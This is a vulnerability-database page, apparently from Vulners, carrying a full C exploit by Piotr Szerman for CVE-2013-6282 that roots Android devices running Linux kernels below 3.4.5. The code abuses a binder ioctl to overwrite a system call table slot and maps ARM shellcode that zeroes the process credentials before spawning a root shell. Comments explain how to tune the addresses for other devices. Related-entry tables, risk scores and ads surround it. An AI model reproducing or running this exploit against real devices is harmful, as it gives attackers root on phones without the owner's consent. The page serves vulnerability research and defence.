Lucene search
K

Linux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation

🗓️ 11 Feb 2014 00:00:00Reported by Piotr SzermanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 331 Views

Linux Kernel < 3.4.5 (Android 4.2.2/4.4) privilege escalation exploit using binder transaction request struct and shellcod

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Android get_user/put_user Exploit
26 Dec 201600:00
zdt
GithubExploit
Exploit for Improper Input Validation in Linux Linux_Kernel
19 Dec 201616:14
githubexploit
ATTACKERKB
CVE-2013-6282
20 Nov 201300:00
attackerkb
android
Qualcomm missing checks put_user get_user
6 Sep 201300:00
android
Circl
CVE-2013-6282
29 Dec 201600:00
circl
CISA KEV Catalog
Linux Kernel Improper Input Validation Vulnerability
15 Sep 202200:00
cisa_kev
CVE
CVE-2013-6282
19 Nov 201315:00
cve
Cvelist
CVE-2013-6282
19 Nov 201315:00
cvelist
Debian CVE
CVE-2013-6282
19 Nov 201315:00
debiancve
Exploit DB
Google Android - get_user/put_user (Metasploit)
29 Dec 201600:00
exploitdb
Rows per page
/*
 * Just a lame binder local root exploit stub. Somewhat messy but whatever. The bug was reported in CVE-2013-6282.
 *
 * Tested on Android 4.2.2 and 4.4. Kernels 3.0.57, 3.4.5 and few more. All up to 3.4.5 unpatched should be vulnerable.
 * You need to customize the addresses so that they match the target board. On Android, both /proc/kallsyms and dmesg are
 * restricted, thus no automation here.
 *
 * Rigged up by Piotr Szerman. (c) 2013
 *
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

/* Binder transaction request format */
struct binder_write_read {
        signed long     write_size;     /* bytes to write */
        signed long     write_consumed; /* bytes consumed by driver */
        unsigned long   write_buffer;
        signed long     read_size;      /* bytes to read */
        signed long     read_consumed;  /* bytes consumed by driver */
        unsigned long   read_buffer;
} bwr;

#define BR_NOOP			0x0000720c	/* binder memory write value */
#define SC_TABLE		0xc000ee28	/* system call table address */
/* we need to know the lower halfword of the original address of sys_ni_syscall to tailor MMAP_AREA and MMAP_OFF accordingly.
 * you can aid yourself with a NOP block. the higher halfword will in any case become 0x720c. on one of my boxes, the other
 * halfword was 0xdac4. MMAP_AREA must be aligned appropriately. you can extract all the data in question at runtime from
 * /proc/kallsyms and dmesg (not that hard to set off infoleaks with this bug) as long as there are no contraints in place
 */
#define MMAP_AREA		0x720cd000	/* userspace landing point page-aligned address. */
#define MMAP_OFF		0xac4		/* offset within it to plant the payload */
#define NUM_PAGES		16
#define PAGE_SIZE 		4096
#define NOP			0xe1a00000	/* mov r0, r0 */
#define SHELL			"/system/bin/sh"
#define TARGET_APERTURE		68		/* aiming for two adjacent non-implemented syscalls. check arch/arm/kernel/calls.S */
#define BINDER_WRITE_READ	0xc0186201	/* printk your BINDER_WRITE_READ ;) */

/* the target payload */
void __attribute__((regparm(3))) shellcode(void)
{
	asm volatile(

		"__transgressor:;"
		"push	{r0-r12,lr}"		"\n\t"
		"mov	r1, sp"			"\n\t" /* calculate the process descriptor location */
		"bic	r2, r1, #8128"		"\n\t"
		"bic	r2, r2, #63"		"\n\t"
		"ldr	r3, [r2, #12]"		"\n\t"
		
		"movt	r0, #0"			"\n\t"
		"movw	r0, #0"			"\n\t"

		"ldr    r1, [r3, #492]" 	"\n\t"	/* cred's location may differ depending on the kernel config. 
							 * just build and objdump a kernel module with printk(current->cred->uid)
							 * to find out. or pinpoint it with the help of kgdb or whatever ;)
							 */
		"mov	r4, #8"			"\n\t"
		"__loop_cred:;"
		"sub	r4, r4, #1"		"\n\t"
		"str	r0, [r1, #4]!"		"\n\t"
		"teq	r4, #0"			"\n\t"
		"bne	__loop_cred"		"\n\t"

		"ldr	r1, [r3, #488]"		"\n\t"	/* real_cred. overkill? */
		"mov	r4, #8"			"\n\t"
		"__loop_real_cred:;"
		"sub	r4, r4, #1"		"\n\t"
		"str 	r0, [r1, #4]!"		"\n\t"
		"teq	r4, #0"			"\n\t"
		"bne	__loop_real_cred"	"\n\t"

		"ldm	sp!, {r0-r12,pc}"	"\n\t" /* return to ret_fast_syscall */
		"mov	pc, lr"			"\n\t"
	);
}

int
main(int ac, char **av)
{
	char * const shell[] = { SHELL, NULL };
	char *map;
	int fd;

	fprintf(stderr, "[!] binder local root exploit\n[!] (c) piotr szerman\n");

	fd = open("/dev/binder", O_RDWR);

	if(fd < 0)
	{
		fprintf(stderr, "[-] failed to reach out for binder. (%s)\n", strerror(errno));
		exit(EXIT_FAILURE);
	}

	map = mmap((void *)MMAP_AREA, NUM_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
		MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_LOCKED, 0, 0);

	if(map == (void *)-1)
	{
		perror("mmap() ");
		exit(EXIT_FAILURE);
	}

	fprintf(stderr, "[+] userspace map area == 0x%08lx\n", (unsigned long)map);

	fprintf(stderr, "[+] placing NOP block at 0x%08lx\n", (unsigned long)map);
	memset(map, NOP, MMAP_OFF);
	fprintf(stderr, "[+] copying payload to 0x%08lx\n", (unsigned long)map + MMAP_OFF);
	/* look at the objdump of shellcode to see the correct offset */
	memcpy(map + MMAP_OFF, (unsigned char *)shellcode + 8 /* offseting to the __transgressor */, 30 * sizeof(void *) /* copy all opcodes */);

	fprintf(stderr, "[+] constructing rogue data structure.\n");

	bwr.write_size = 0;
	bwr.write_consumed = 0;
	bwr.read_size = 1;
	bwr.read_consumed = 0;
	/* targeting the aperture between 2 undefined system calls in the table */
	bwr.read_buffer = (unsigned long)((unsigned char *)SC_TABLE + TARGET_APERTURE * sizeof(void *) + 2);
	
	/* calculate process descriptor address with the aid of sp:
	 * task_struct = *( ((unsigned long *) ( (sp & ~(0xbf000000 - 1)) & ~0x3f )) + 3);
	 */

	ioctl(fd, BINDER_WRITE_READ, &bwr);
	close(fd);

	sleep(5); /* give binder ample time to service the transaction. if it's under heavy load, the exploit might fail */

	fprintf(stderr, "[+] r00ting device...\n\n");

	asm volatile(
			"mov r7, %0\n\t"
			"swi 0\n\t"
			: : "I" (TARGET_APERTURE)
		);

	execve(shell[0], shell, NULL);
	
	return EXIT_FAILURE;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Feb 2014 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 27.2
CVSS 3.18.8
EPSS0.6765
SSVC
331